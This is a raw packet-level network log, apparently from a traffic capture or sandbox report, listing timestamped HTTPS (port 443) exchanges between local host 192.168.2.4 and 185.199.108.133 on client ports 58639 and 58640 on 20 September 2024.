Sep 20, 2024 12:14:52.256300926 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.256345987 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.256356001 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.256386042 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.256418943 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.256700039 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.256740093 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.256786108 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.256795883 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.256825924 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.256846905 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.257117033 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.257155895 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.257200956 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.257211924 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.257241011 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.257261038 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.288841009 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.288861036 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.288944006 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.288964033 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.289016008 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.289304018 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.289318085 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.289390087 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.289398909 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.289448023 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.289869070 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.289882898 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.289947987 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.289957047 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.290011883 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.290263891 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.290277004 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.290338039 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.290348053 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.290394068 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.290740967 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.290755033 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.290816069 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.290824890 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.290874004 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.291158915 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.291174889 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.291234970 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.291241884 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.291287899 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.291656017 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.291671038 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.291731119 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.291739941 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.291789055 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.291996002 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.292011976 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.292073965 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.292082071 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.292128086 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.334649086 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.334707975 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.334835052 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.334902048 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.334938049 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.334984064 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.334985018 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.335015059 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.335067987 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.335069895 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.335107088 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.335119963 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.335155010 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.335199118 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.335225105 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.335274935 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.335306883 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.335319042 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.335350990 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.335405111 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.342499018 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.342547894 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.342632055 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.342647076 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.342717886 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.343091011 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.343132973 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.343179941 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.343192101 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.343219042 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.343254089 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.343333960 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.343374968 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.343431950 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.343442917 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.343467951 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.343517065 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.343924999 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.343971014 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.344014883 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.344026089 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.344053030 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.344094992 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.344193935 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.344239950 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.344288111 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.344299078 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.344325066 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.344367981 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.378696918 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.378711939 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.378827095 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.378844976 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.378894091 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.379204988 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.379220009 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.379292965 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.379301071 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.379350901 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.379587889 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.379601955 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.379667044 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.379678011 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.379728079 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.380011082 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.380027056 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.380089045 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.380096912 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.380146027 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.380481005 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.380516052 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.380610943 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.380623102 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.380656958 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.380682945 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.380759001 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.380775928 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.380839109 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.380846977 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.380893946 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.381156921 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.381174088 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.381236076 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.381243944 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.381293058 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.381536961 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.381552935 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.381613016 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.381620884 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.381684065 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.421715021 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.421760082 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.421853065 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.421873093 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.421974897 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.422522068 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.422563076 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.422616005 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.422627926 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.422652960 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.422765970 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.424144030 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.424185038 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.424232960 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.424243927 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.424274921 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.424314976 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.429428101 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.429467916 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.429562092 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.429574013 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.429630041 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.429754019 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.429792881 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.429831982 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.429841995 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.429871082 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.429898977 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.430376053 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.430428982 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.430454969 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.430465937 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.430502892 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.430520058 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.430835009 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.430879116 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.430917978 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.430927992 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.430953026 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.430988073 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.431157112 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.431197882 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.431233883 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.431238890 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.431273937 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.431297064 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.465796947 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.465854883 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.465898991 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.465909004 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.465965033 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.466051102 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.466090918 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.466119051 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.466130018 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.466156960 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.466186047 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.466257095 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.466299057 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.466332912 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.466341019 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.466373920 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.466398001 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.466526985 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.466569901 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.466609955 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.466617107 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.466645956 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.466671944 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.466892004 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.466936111 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.466965914 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.466974020 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.467005968 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.467037916 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.467293024 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.467333078 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.467364073 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.467370987 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.467402935 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.467479944 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.467746019 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.467823029 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.467858076 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.467932940 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.468070030 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.468111038 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.468137026 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.468144894 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.468166113 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.468189001 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.508553982 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.508600950 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.508644104 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.508670092 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.508687019 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.508718014 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.509387970 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.509428978 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.509495974 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.509501934 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.509536982 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.509555101 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.511080027 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.511118889 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.511167049 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.511173010 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.511205912 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.511228085 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.516287088 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.516325951 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.516381979 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.516387939 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.516418934 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.516448975 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.516999006 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.517039061 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.517083883 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.517090082 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.517123938 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.517152071 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.517652988 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.517692089 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.517731905 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.517738104 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.517774105 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.517802000 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.518280983 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.518317938 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.518359900 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.518364906 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.518399954 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.518420935 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.518552065 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.518593073 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.518637896 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.518644094 CEST	443	58640	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.518676043 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.518706083 CEST	58640	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.555537939 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.555597067 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.555672884 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.555680990 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.555723906 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.555762053 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.555824041 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.555865049 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.555898905 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.555907011 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.555969954 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.555994034 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.556041956 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.556050062 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.556066990 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.556081057 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.556118011 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.556155920 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.556235075 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.556284904 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.556317091 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.556324959 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.556351900 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.556379080 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.556749105 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.556792974 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.556829929 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.556837082 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.556874990 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.556899071 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.556971073 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.557013988 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.557050943 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.557058096 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.557096004 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.557117939 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.557189941 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.557240009 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.557281971 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.557287931 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.557327032 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.557352066 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.557411909 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.557455063 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.557490110 CEST	58639	443	192.168.2.4	185.199.108.133
Sep 20, 2024 12:14:52.557497025 CEST	443	58639	185.199.108.133	192.168.2.4
Sep 20, 2024 12:14:52.557534933 CEST	58639	443	192.168.2.4	185.199.108.133
